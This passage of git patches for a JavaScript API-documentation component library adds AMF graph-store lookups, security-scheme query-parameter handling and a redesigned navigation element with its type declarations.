+    const creative = this._computeDocument(api, id);
+    if (!creative) {
+      throw new Error(`Documentation ${id} does not exist.`);
+    }
+    const result = this.serializer.documentation(creative);
+    return result;
+  }
+
+  /**
+   * Reads the SecurityScheme object from the graph.
+   * @param {string} id The domain id of the SecurityScheme
+   * @returns {Promise<ApiSecurityScheme>}
+   */
+  async getSecurityScheme(id) {
+    const types = this.getDocumentTypes();
+    // when we have loaded Security fragment then the id doesn't matter.
+    if (types.includes(this.ns.aml.vocabularies.security.SecuritySchemeFragment)) {
+      const { amf } = this;
+      if (!amf) {
+        return undefined;
+      }
+      const encodes = this._computeEncodes(amf);
+      return this.serializer.securityScheme(encodes);
+    }
+    const object = this.findSecurityScheme(id);
+    if (!object) {
+      throw new Error(`No SecurityRequirement for ${id}`);
+    }
+    return this.serializer.securityScheme(object);
+  }
+
+  /**
+   * Reads the SecurityRequirement object from the graph.
+   * @param {string} id The domain id of the SecurityRequirement
+   * @returns {Promise<ApiSecurityRequirement>}
+   */
+  async getSecurityRequirement(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const securityList = operation[this._getAmfKey(this.ns.aml.vocabularies.security.security)];
+          if (Array.isArray(securityList)) {
+            for (const security of securityList) {
+              if (security['@id'] === id) {
+                return this.serializer.securityRequirement(security);
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Lists the security definitions for the API.
+   * @returns {Promise<ApiSecuritySchemeListItem[]>}
+   */
+  async listSecurity() {
+    throw new Error(`Not implemented`);
+  }
+
+  /**
+   * Reads the Request object from the graph.
+   * @param {string} id The domain id of the Request
+   * @returns {Promise<ApiRequest>}
+   */
+  async getRequest(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const expectsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
+          if (Array.isArray(expectsList)) {
+            for (const expects of expectsList) {
+              if (expects['@id'] === id) {
+                return this.serializer.request(expects);
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Reads the response data from the graph.
+   * @param {string} id The domain id of the response.
+   * @returns {Promise<ApiResponse>}
+   */
+  async getResponse(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const returnsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
+          if (Array.isArray(returnsList)) {
+            for (const returns of returnsList) {
+              if (returns['@id'] === id) {
+                return this.serializer.response(returns);
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Finds a payload in a request or a response object.
+   * @param {DomainElement} object
+   * @param {string} domainId
+   * @returns {ApiPayload|undefined}
+   */
+  findPayload(object, domainId) {
+    const list = object[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
+    if (!Array.isArray(list) || !list.length) {
+      return undefined;
+    }
+    const model = list.find(i => i['@id'] === domainId);
+    if (!model) {
+      return undefined;
+    }
+    return this.serializer.payload(model);
+  }
+
+  /**
+   * Reads Payload data from the graph
+   * @param {string} id The domain id of the payload
+   * @returns {Promise<ApiPayload>}
+   */
+  async getPayload(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const wa = this._computeApi(amf);
+    if (!wa) {
+      return undefined;
+    }
+    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints)) {
+      return undefined;
+    }
+    for (const endpoint of endpoints) {
+      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
+      if (Array.isArray(operations)) {
+        for (const operation of operations) {
+          const expectsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
+          if (Array.isArray(expectsList)) {
+            for (const expects of expectsList) {
+              const payload = this.findPayload(expects, id);
+              if (payload) {
+                return payload;
+              }
+            }
+          }
+          const returnsList = operation[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
+          if (Array.isArray(returnsList)) {
+            for (const returns of returnsList) {
+              const payload = this.findPayload(returns, id);
+              if (payload) {
+                return payload;
+              }
+            }
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Lists the type (schema) definitions for the API.
+   * @returns {Promise<ApiNodeShapeListItem[]>}
+   */
+  async listTypes() {
+    throw new Error(`Not implemented`);
+  }
+
+  /**
+   * @param {string} id The domain id of the API type (schema).
+   * @returns {Promise<ApiShapeUnion>}
+   */
+  async getType(id) {
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    const types = this.getDocumentTypes();
+    // when we have loaded Type fragment then the id doesn't matter.
+    if (types.includes(this.ns.aml.vocabularies.shapes.DataTypeFragment)) {
+      const encodes = this._computeEncodes(amf);
+      return this.serializer.unknownShape(encodes);
+    }
+    const declares = this._computeDeclares(amf);
+    const references = this._computeReferences(amf);
+    const type = this._computeType(declares, references, id);
+    if (!type) {
+      return undefined;
+    }
+    return this.serializer.unknownShape(type);
+  }
+}

From c27e4ce025b7681509fe8519622f83ca5ff7a4a1 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 23 Oct 2021 02:28:26 -0700
Subject: [PATCH 32/36] feat: adding support for custom sec query string

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 src/elements/ApiSecurityDocumentElement.js | 44 ++++++++++++++++++----
 1 file changed, 36 insertions(+), 8 deletions(-)

diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index 70d70a0..ef9f928 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -5,6 +5,7 @@ import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import '@anypoint-web-components/awc/anypoint-tab.js';
 import '@anypoint-web-components/awc/anypoint-tabs.js';
+import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js';
 import { ns } from '../helpers/Namespace.js';
 import { 
   ApiDocumentationBase, 
@@ -29,6 +30,8 @@ import '../../define/api-response-document.js'
 /** @typedef {import('../helpers/api').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
 /** @typedef {import('../helpers/api').ApiSecurityScope} ApiSecurityScope */
 /** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
 /** @typedef {import('@anypoint-web-components/awc').AnypointTabsElement} AnypointTabs */
@@ -40,6 +43,8 @@ export const titleTemplate = Symbol('titleTemplate');
 export const queryParamsTemplate = Symbol('queryParamsTemplate');
 export const headersTemplate = Symbol('headersTemplate');
 export const responsesValue = Symbol('responsesValue');
+export const queryParametersValue = Symbol('queryParametersValue');
+export const processQueryParameters = Symbol('processQueryParameters');
 export const preselectResponse = Symbol('preselectResponse');
 export const responseContentTemplate = Symbol('responseContentTemplate');
 export const responseTabsTemplate = Symbol('responseTabsTemplate');
@@ -145,6 +150,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
    */
   async processGraph() {
     await this[querySecurity]();
+    await this[processQueryParameters]();
     this.requestUpdate();
   }
 
@@ -172,7 +178,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
   }
 
   async [processSecurity]() {
-    const scheme = this[securityValue];
+    const scheme = /** @type ApiSecurityScheme */ (this[securityValue]);
     if (!scheme) {
       this[responsesValue] = undefined;
       return;
@@ -182,6 +188,28 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     this[preselectResponse]();
   }
 
+  /**
+   * Creates a parameter 
+   */
+  async [processQueryParameters]() {
+    this[queryParametersValue] = undefined;
+    const scheme = /** @type ApiSecurityScheme */ (this[securityValue]);
+    if (!scheme) {
+      return;
+    }
+    if (Array.isArray(scheme.queryParameters) && scheme.queryParameters.length) {
+      this[queryParametersValue] = scheme.queryParameters;
+      return;
+    }
+    const nodeShape = /** @type ApiNodeShape */ (scheme.queryString);
+    if (!nodeShape) {
+      return;
+    }
+    const factory = new QueryParameterProcessor();
+    const params = factory.collectOperationParameters(scheme.queryString, 'query');
+    this[queryParametersValue] = params.map(p => p.parameter);
+  }
+
   /**
    * Updates the `selectedStatus` if not selected or the current selection doesn't 
    * exists in the current list of responses.
@@ -234,7 +262,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
   }
 
   render() {
-    const scheme = this[securityValue];
+    const scheme = /** @type ApiSecurityScheme */ (this[securityValue]);
     if (!scheme) {
       return html``;
     }
@@ -250,7 +278,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
   }
 
   [titleTemplate]() {
-    const scheme = this[securityValue];
+    const scheme = /** @type ApiSecurityScheme */ (this[securityValue]);
     const { name, type, displayName } = scheme;
     const title = displayName || name;
     return html`
@@ -267,11 +295,11 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
    * @return {TemplateResult|string} The template for the query parameters
    */
   [queryParamsTemplate]() {
-    const scheme = this[securityValue];
-    if (!Array.isArray(scheme.queryParameters) || !scheme.queryParameters.length) {
+    const params = /** @type ApiParameter[] */ (this[queryParametersValue]);
+    if (!Array.isArray(params) || !params.length) {
       return '';
     }
-    const content = scheme.queryParameters.map((param) => this[schemaItemTemplate](param, 'query'));
+    const content = params.map((param) => this[schemaItemTemplate](param, 'query'));
     return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content);
   }
 
@@ -279,7 +307,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
    * @return {TemplateResult|string} The template for the headers
    */
   [headersTemplate]() {
-    const scheme = this[securityValue];
+    const scheme = /** @type ApiSecurityScheme */ (this[securityValue]);
     if (!Array.isArray(scheme.headers) || !scheme.headers.length) {
       return '';
     }
@@ -341,7 +369,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the security settings, when required.
    */
   [settingsTemplate]() {
-    const scheme = this[securityValue];
+    const scheme = /** @type ApiSecurityScheme */ (this[securityValue]);
     const { settings } = scheme;
     if (!settings) {
       return '';

From c03255ef52229a6433a2cffd04ed18c9ecef57ef Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 23 Oct 2021 04:30:39 -0700
Subject: [PATCH 33/36] chore: redesigning the navigation

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                        |    2 +
 define/api-navigation-legacy.d.ts            |    7 +
 define/api-navigation-legacy.js              |    3 +
 define/api-navigation.d.ts                   |    2 +-
 demo/lib/AmfDemoBase.js                      |    7 +-
 src/elements/ApiNavigationElement.d.ts       |  903 ++---
 src/elements/ApiNavigationElement.js         | 3370 +++++++++---------
 src/elements/ApiNavigationLegacyElement.d.ts |  677 ++++
 src/elements/ApiNavigationLegacyElement.js   | 2224 ++++++++++++
 src/elements/ApiRequestEditorElement.js      |    4 +-
 src/elements/ApiSummaryElement.js            |    2 +-
 src/elements/styles/NavStyles.js             |  248 ++
 src/events/DocumentationEvents.d.ts          |    6 +
 src/events/EventTypes.d.ts                   |    1 +
 src/events/EventTypes.js                     |    3 +-
 src/events/NavigationEvents.d.ts             |   10 +
 src/events/NavigationEvents.js               |   21 +
 src/helpers/AmfHelperMixin.d.ts              |    7 +
 src/helpers/AmfHelperMixin.js                |   35 +
 src/helpers/AmfSerializer.d.ts               |    7 +-
 src/helpers/AmfSerializer.js                 |   30 +
 src/helpers/Namespace.d.ts                   |    1 +
 src/helpers/Namespace.js                     |    1 +
 src/lib/ApiSorting.d.ts                      |    8 +
 src/lib/ApiSorting.js                        |   21 +
 src/lib/EndpointsTree.d.ts                   |   39 +
 src/lib/EndpointsTree.js                     |  195 +
 src/lib/Utils.js                             |   10 +
 src/store/InMemAmfGraphStore.js              |   64 +-
 src/types.d.ts                               |  122 +-
 30 files changed, 5844 insertions(+), 2186 deletions(-)
 create mode 100644 define/api-navigation-legacy.d.ts
 create mode 100644 define/api-navigation-legacy.js
 create mode 100644 src/elements/ApiNavigationLegacyElement.d.ts
 create mode 100644 src/elements/ApiNavigationLegacyElement.js
 create mode 100644 src/elements/styles/NavStyles.js
 create mode 100644 src/lib/ApiSorting.d.ts
 create mode 100644 src/lib/ApiSorting.js
 create mode 100644 src/lib/EndpointsTree.d.ts
 create mode 100644 src/lib/EndpointsTree.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 8bd78fb..e508437 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -19,8 +19,10 @@
     "amfstoresecuritygetsettings",
     "amfstoresecuritylist",
     "amfstoretypeget",
+    "amfstoretypelist",
     "apierror",
     "apinavigate",
+    "apinavigateexternal",
     "apirequest",
     "apiresponse",
     "apiserverchanged",
diff --git a/define/api-navigation-legacy.d.ts b/define/api-navigation-legacy.d.ts
new file mode 100644
index 0000000..a75cf56
--- /dev/null
+++ b/define/api-navigation-legacy.d.ts
@@ -0,0 +1,7 @@
+import Element from '../src/elements/ApiNavigationLegacyElement.js';
+
+declare global {
+  interface HTMLElementTagNameMap {
+    "api-navigation-legacy": Element;
+  }
+}
diff --git a/define/api-navigation-legacy.js b/define/api-navigation-legacy.js
new file mode 100644
index 0000000..30a0335
--- /dev/null
+++ b/define/api-navigation-legacy.js
@@ -0,0 +1,3 @@
+import Element from '../src/elements/ApiNavigationLegacyElement.js';
+
+window.customElements.define('api-navigation-legacy', Element);
diff --git a/define/api-navigation.d.ts b/define/api-navigation.d.ts
index a27b02a..aaebbd3 100644
--- a/define/api-navigation.d.ts
+++ b/define/api-navigation.d.ts
@@ -1,4 +1,4 @@
-import Element from '../src/elements/ApiNavigationElement.js';
+import Element from '../src/elements/ApiNavigationElement';
 
 declare global {
   interface HTMLElementTagNameMap {
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index b47fd05..97fbf01 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -218,14 +218,13 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     if (this.noApiNavigation) {
       return '';
     }
+    // sort, filter
     return html`
     <api-navigation
       summary
-      noOverview
-      .amf="${this.amf}"
       ?endpointsOpened="${this.endpointsOpened}"
-      ?docsOpened="${this.docsOpened}"
-      ?typesOpened="${this.typesOpened}"
+      ?documentationsOpened="${this.docsOpened}"
+      ?schemasOpened="${this.typesOpened}"
       ?securityOpened="${this.securityOpened}"
     ></api-navigation>`;
   }
diff --git a/src/elements/ApiNavigationElement.d.ts b/src/elements/ApiNavigationElement.d.ts
index 064d4cb..ce41b6f 100644
--- a/src/elements/ApiNavigationElement.d.ts
+++ b/src/elements/ApiNavigationElement.d.ts
@@ -1,677 +1,716 @@
-import {LitElement, TemplateResult} from 'lit-element';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
-import { EndPoint } from '../helpers/amf';
-import { MethodItem, EndpointItem, SecurityItem, TypeItem, DocumentationItem, TargetModel, NavigationItem, SelectionType } from '../types';
-
-export const collectData: unique symbol;
-export const queryValue: unique symbol;
-export const queryDebouncer: unique symbol;
-export const hasPassiveSelection: unique symbol;
-export const getFilteredType: unique symbol;
-export const docsValue: unique symbol;
-export const typesValue: unique symbol;
-export const securityValue: unique symbol;
-export const endpointsValue: unique symbol;
-export const endpointsTemplate: unique symbol;
-export const documentationTemplate: unique symbol;
-export const typesTemplate: unique symbol;
-export const securityTemplate: unique symbol;
-export const overviewTemplate: unique symbol;
-export const endpointPathTemplate: unique symbol;
-export const endpointTemplate: unique symbol;
-export const methodTemplate: unique symbol;
-export const documentationItemTemplate: unique symbol;
-export const isFragmentValue: unique symbol;
-export const selectedItemValue: unique symbol;
-export const updatedOpenedOperations: unique symbol;
-export const domainIdValue: unique symbol;
-export const domainTypeValue: unique symbol;
-export const selectedChanged: unique symbol;
-export const selectionChanged: unique symbol;
-export const operationsOpened: unique symbol;
-export const shiftTabPressed: unique symbol;
-export const focusedItemPrivate: unique symbol;
-export const focusedItemValue: unique symbol;
-export const summaryTemplate: unique symbol;
-export const itemClickHandler: unique symbol;
-export const queryChanged: unique symbol;
-export const flushQuery: unique symbol;
-export const rearrangeEndpointsValue: unique symbol;
-export const renderFullPathsValue: unique symbol;
-export const itemsValue: unique symbol;
-export const resetTabindices: unique symbol;
-export const navigationHandler: unique symbol;
-export const focusHandler: unique symbol;
-export const keydownHandler: unique symbol;
-export const collectSecurityData: unique symbol;
-export const collectDocumentationData: unique symbol;
-export const collectTypeData: unique symbol;
-export const traverseDeclarations: unique symbol;
-export const traverseReferences: unique symbol;
-export const traverseEncodes: unique symbol;
-export const rearrangeEndpoints: unique symbol;
-export const closeCollapses: unique symbol;
-export const appendSecurityItem: unique symbol;
-export const appendTypeItem: unique symbol;
-export const validUrl: unique symbol;
-export const appendDocumentationItem: unique symbol;
-export const appendEndpointItem: unique symbol;
-export const appendModelItem: unique symbol;
-export const createOperationModel: unique symbol;
-export const toggleSectionHandler: unique symbol;
-export const toggleSection: unique symbol;
-export const selectItem: unique symbol;
-export const addSelection: unique symbol;
-export const clearSelection: unique symbol;
-export const cleanPassiveSelection: unique symbol;
-export const handlePassiveNavigation: unique symbol;
-export const selectMethodPassive: unique symbol;
-export const toggleEndpoint: unique symbol;
-export const toggleEndpointDocumentation: unique symbol;
-export const toggleEndpointButton: unique symbol;
-export const computeEndpointPadding: unique symbol;
-export const computeEndpointPaddingLeft: unique symbol;
-export const computeMethodPadding: unique symbol;
-export const computeOperationPaddingLeft: unique symbol;
-export const getFilteredEndpoints: unique symbol;
-export const listActiveItems: unique symbol;
-export const listSectionActiveNodes: unique symbol;
-export const onUpKey: unique symbol;
-export const onDownKey: unique symbol;
-export const onEscKey: unique symbol;
-export const onSpace: unique symbol;
-export const onShiftTabDown: unique symbol;
+import { LitElement, TemplateResult, CSSResult } from 'lit-element';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
+import { ApiEndPointWithOperationsListItem, } from '../types';
+import { EndpointItem, OperationItem, DocumentationItem, NodeShapeItem, SecurityItem, SelectableMenuItem, EditableMenuItem, EditableMenuType, SchemaAddType } from '../types';
+
+export declare const apiIdValue: unique symbol;
+export declare const isAsyncValue: unique symbol;
+export declare const queryingValue: unique symbol;
+export declare const abortControllerValue: unique symbol;
+export declare const selectedValue: unique symbol;
+export declare const documentationsValue: unique symbol;
+export declare const schemasValue: unique symbol;
+export declare const securityValue: unique symbol;
+export declare const endpointsValue: unique symbol;
+export declare const queryValue: unique symbol;
+export declare const openedEndpointsValue: unique symbol;
+export declare const queryApi: unique symbol;
+export declare const queryEndpoints: unique symbol;
+export declare const queryDocumentations: unique symbol;
+export declare const querySchemas: unique symbol;
+export declare const querySecurity: unique symbol;
+export declare const createFlatTreeItems: unique symbol;
+export declare const getFilteredEndpoints: unique symbol;
+export declare const getFilteredDocumentations: unique symbol;
+export declare const getFilteredSchemas: unique symbol;
+export declare const getFilteredSecurity: unique symbol;
+export declare const computeEndpointPaddingValue: unique symbol;
+export declare const computeEndpointPaddingLeft: unique symbol;
+export declare const computeOperationPaddingValue: unique symbol;
+export declare const computeOperationPaddingLeft: unique symbol;
+export declare const itemClickHandler: unique symbol;
+export declare const itemKeydownHandler: unique symbol;
+export declare const toggleSectionClickHandler: unique symbol;
+export declare const toggleSectionKeydownHandler: unique symbol;
+export declare const endpointToggleClickHandler: unique symbol;
+export declare const focusHandler: unique symbol;
+export declare const keydownHandler: unique symbol;
+export declare const summaryTemplate: unique symbol;
+export declare const endpointsTemplate: unique symbol;
+export declare const endpointTemplate: unique symbol;
+export declare const endpointToggleTemplate: unique symbol;
+export declare const operationItemTemplate: unique symbol;
+export declare const documentationsTemplate: unique symbol;
+export declare const documentationTemplate: unique symbol;
+export declare const externalDocumentationTemplate: unique symbol;
+export declare const schemasTemplate: unique symbol;
+export declare const schemaTemplate: unique symbol;
+export declare const securitiesTemplate: unique symbol;
+export declare const securityTemplate: unique symbol;
+export declare const keyDownAction: unique symbol;
+export declare const keyUpAction: unique symbol;
+export declare const keyShiftTabAction: unique symbol;
+export declare const keyEscAction: unique symbol;
+export declare const keySpaceAction: unique symbol;
+export declare const shiftTabPressedValue: unique symbol;
+export declare const focusedItemValue: unique symbol;
+export declare const selectedItemValue: unique symbol;
+export declare const focusItem: unique symbol;
+export declare const listActiveItems: unique symbol;
+export declare const itemsValue: unique symbol;
+export declare const listSectionActiveNodes: unique symbol;
+export declare const keyArrowRightAction: unique symbol;
+export declare const keyArrowLeftAction: unique symbol;
+export declare const makeSelection: unique symbol;
+export declare const selectItem: unique symbol;
+export declare const deselectItem: unique symbol;
+export declare const findSelectable: unique symbol;
+export declare const toggleSectionElement: unique symbol;
+export declare const summarySelected: unique symbol;
+export declare const filterTemplate: unique symbol;
+export declare const processQuery: unique symbol;
+export declare const searchHandler: unique symbol;
+export declare const resetTabindices: unique symbol;
+export declare const notifyNavigation: unique symbol;
+export declare const addingEndpointValue: unique symbol;
+export declare const addEndpointInputTemplate: unique symbol;
+export declare const addEndpointKeydownHandler: unique symbol;
+export declare const commitNewEndpoint: unique symbol;
+export declare const cancelNewEndpoint: unique symbol;
+export declare const findViewModelItem: unique symbol;
+export declare const renameInputTemplate: unique symbol;
+export declare const renameKeydownHandler: unique symbol;
+export declare const renameBlurHandler: unique symbol;
+export declare const updateNameHandler: unique symbol;
+export declare const addDocumentationInputTemplate: unique symbol;
+export declare const addDocumentationKeydownHandler: unique symbol;
+export declare const addingDocumentationValue: unique symbol;
+export declare const addingExternalValue: unique symbol;
+export declare const commitNewDocumentation: unique symbol;
+export declare const externalDocumentationHandler: unique symbol;
+export declare const addingSchemaValue: unique symbol;
+export declare const addSchemaInputTemplate: unique symbol;
+export declare const addSchemaKeydownHandler: unique symbol;
+export declare const commitNewSchema: unique symbol;
+export declare const addingSchemaTypeValue: unique symbol;
 
 /**
- * Computes label for an endpoint when name is missing and the endpoint
- * is indented, hence name should be truncated.
- *
- * @param currentPath Endpoint's path
- * @param parts Path parts
- * @param indent Endpoint indentation
- * @param basePaths List of base paths already used.
- * @returns Name of the path to render.
+ * @fires graphload
  */
-export declare function computePathName(currentPath: string, parts: string[], indent: number, basePaths: Array<string>): string;
+export default class ApiNavigationElement extends EventsTargetMixin(LitElement) {
+  static get styles(): CSSResult;
 
+  [apiIdValue]: string;
+  [queryingValue]: boolean;
+  [abortControllerValue]?: AbortController;
+  [endpointsValue]: EndpointItem[];
+  [documentationsValue]: DocumentationItem[];
+  [schemasValue]: NodeShapeItem[];
+  [securityValue]: SecurityItem[];
+  /** 
+  * The processed and final query term for the list items.
+  */
+  [queryValue]: string;
+  /** 
+  * Information read from the AMF store indicating that the currently loaded API
+  * is an API.
+  */
+  [isAsyncValue]: boolean;
+  /** 
+  * Holds a list of ids of currently opened endpoints.
+  */
+  [openedEndpointsValue]: string[];
+  /** 
+  * Cached list of all list elements
+  */
+  [itemsValue]: HTMLElement[];
+  [addingEndpointValue]?: boolean;
+  [addingDocumentationValue]?: boolean;
+  [addingExternalValue]?: boolean;
+  [addingSchemaValue]?: boolean;
+  [addingSchemaTypeValue]?: string;
 
-/**
- * Computes condition value to render path label.
- *
- * @param allowPaths Component configuration property.
- * @param renderPath Endpoint property
- * @returns True if both arguments are truly.
- */
-export declare function computeRenderPath(allowPaths: boolean, renderPath: boolean): boolean;
+  /** 
+   * When true then the element is currently querying for the graph data.
+   */
+  get querying(): boolean;
 
-/**
- * `api-navigation`
- * A navigation for an API spec using AMF model.
- *
- * This element is to replace deprecated `raml-path-selector`.
- * It is lightweight and much less complex in comparison.
- *
- * The element works with [AMF](https://github.com/mulesoft/amf)
- * json/ld model. When the model is set it computes list of documentation
- * nodes, types, endpoints, methods and security schemas.
- * As a result user can select any of the items in the UI and the application
- * is informed about user choice via custom event.
- *
- * The selection is a selected API shape `@id`. The application is responsible
- * for computing the model selected by the user.
- *
- * Note, this element does not contain polyfills for Array platform features.
- * Use `arc-polyfills` to add support for IE and Safari 9.
- *
- * ## Passive navigation
- *
- * Passive navigation means that a navigation event occurred but it wasn't
- * invoked by intentional user interaction. For example
- * `api-endpoint-documentation` component renders list of documentations for
- * HTTP methods. While scrolling through the list navigation context
- * changes (user reads documentation of a method) but the navigation never
- * was caused by user intentional interaction.
- * This event, annotated with `passive: true` property in the detail object
- * prohibits other element from taking a navigation action but some
- * may reflect the change in the UI.
- * 
- * @fires apinavigate
- */
-export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
-  [queryValue]: string;
-  [queryDebouncer]: boolean;
-  [hasPassiveSelection]: boolean;
-  [selectedItemValue]: HTMLElement;
-  [domainIdValue]: string;
-  [domainTypeValue]: string;
-  [operationsOpened]: boolean;
-  [shiftTabPressed]: boolean;
-  [rearrangeEndpointsValue]: boolean;
-  [renderFullPathsValue]: boolean;
-  [focusedItemPrivate]: HTMLElement;
-  [focusedItemValue]: HTMLElement;
-  [itemsValue]: Element[];
-  /**
-   * A model `@id` of selected documentation part.
-   * Special case is for `summary` view. It's not part of an API
-   * but most applications has some kins of summary view for the
-   * API.
-   * @attribute
+  /**
+   * Set only when `querying`. Use to abort the query operation.
+   * When calling `abort` on the controller the element stops querying and processing the graph data.
+   * All data that already has been processed are not cleared.
+   */
+  get abortController(): AbortController | undefined;
+
+  /**
+   * @returns true when `_docs` property is set with values
+   */
+  get hasDocs(): boolean;
+
+  /**
+   * @returns true when has schemas definitions
    */
-  domainId: string;
+  get hasSchemas(): boolean;
 
+  /**
+   * @returns true when `_security` property is set with values
+   */
+  get hasSecurity(): boolean;
+
+  /**
+   * @returns true when `_endpoints` property is set with values
+   */
+  get hasEndpoints(): boolean;
+
+  /**
+   * A reference to currently selected element.
+   */
+  get selectedItem(): HTMLElement | undefined;
+
+  /**
+   * The currently focused item.
+   */
+  get focusedItem(): HTMLElement | undefined;
+
+  /** 
+   * When this property change the element queries the graph store for the data model.
+   * It can be skipped when the application calls the `queryGraph()` method imperatively.
+   * @attribute
+   */
+  apiId: string;
+  /**
+  * A model `@id` of selected documentation part.
+  * Special case is for `summary` view. It's not part of an API
+  * but most applications has some kins of summary view for the
+  * API.
+  * @attribute
+  */
+  selected: string;
   /**
    * Type of the selected item.
-   * One of `documentation`, `type`, `security`, `endpoint`, `method`
+   * One of `documentation`, `type`, `security`, `endpoint`, `operation`
    * or `summary`.
    *
-   * This property is set after `domainId` property.
+   * This property is set after `selected` property.
    * @attribute
    */
-  domainType: SelectionType;
-
+  selectedType: string;
   /**
    * If set it renders `API summary` menu option.
-   * It will allow to set `domainId` and `domainType` to `summary`
+   * It will allow to set `selected` and `selectedType` to `summary`
    * when this option is set.
    * @attribute
    */
   summary: boolean;
-
   /**
    * A label for the `summary` section.
-   * @default "Summary"
    * @attribute
    */
   summaryLabel: string;
-
   /**
-   * Computed list of documentation items in the API.
-   */
-  [docsValue]: DocumentationItem[];
-
+  * Determines and changes state of documentation panel.
+  * @attribute
+  */
+  documentationsOpened: boolean;
+  /**
+  * Determines and changes state of schemas (types) panel.
+  * @attribute
+  */
+  schemasOpened: boolean;
+  /**
+  * Determines and changes state of security panel.
+  * @attribute
+  */
+  securityOpened: boolean;
+  /**
+  * Determines and changes state of endpoints panel.
+  * @attribute
+  */
+  endpointsOpened: boolean;
+  /**
+  * Filters list elements by this value when set.
+  * Clear the value to reset the search.
+  *
+  * This is not currently exposed in element's UI due
+  * to complexity of search and performance.
+  * @attribute
+  */
+  query: string;
   /**
-   * Determines and changes state of documentation panel.
+  * Size of endpoint indentation for nested resources.
+  * In pixels.
+  *
+  * The attribute name for this property is `indent-size`. Note, that this
+  * will change to web consistent name `indentSize` in the future.
+  * @attribute
+  */
+  indentSize: number;
+  /** 
+  * By default the endpoints are rendered one-by-one as defined in the API spec file
+  * without any tree structure. When this option is set it sorts the endpoints 
+  * alphabetically and creates a tree structure for the endpoints.
+  * Note, the resulted tree structure will likely be different to the one encoded 
+  * in the API spec file.
+  * @attribute
+  */
+  sort: boolean;
+  /** 
+  * When set it renders an input to filter the menu items.
+  * @attribute
+  */
+  filter: boolean;
+  /** 
+   * When set the element won't query the store when attached to the DOM.
+   * Instead set the `apiId` property or directly call the `queryGraph()` function.
    * @attribute
    */
-  docsOpened: boolean;
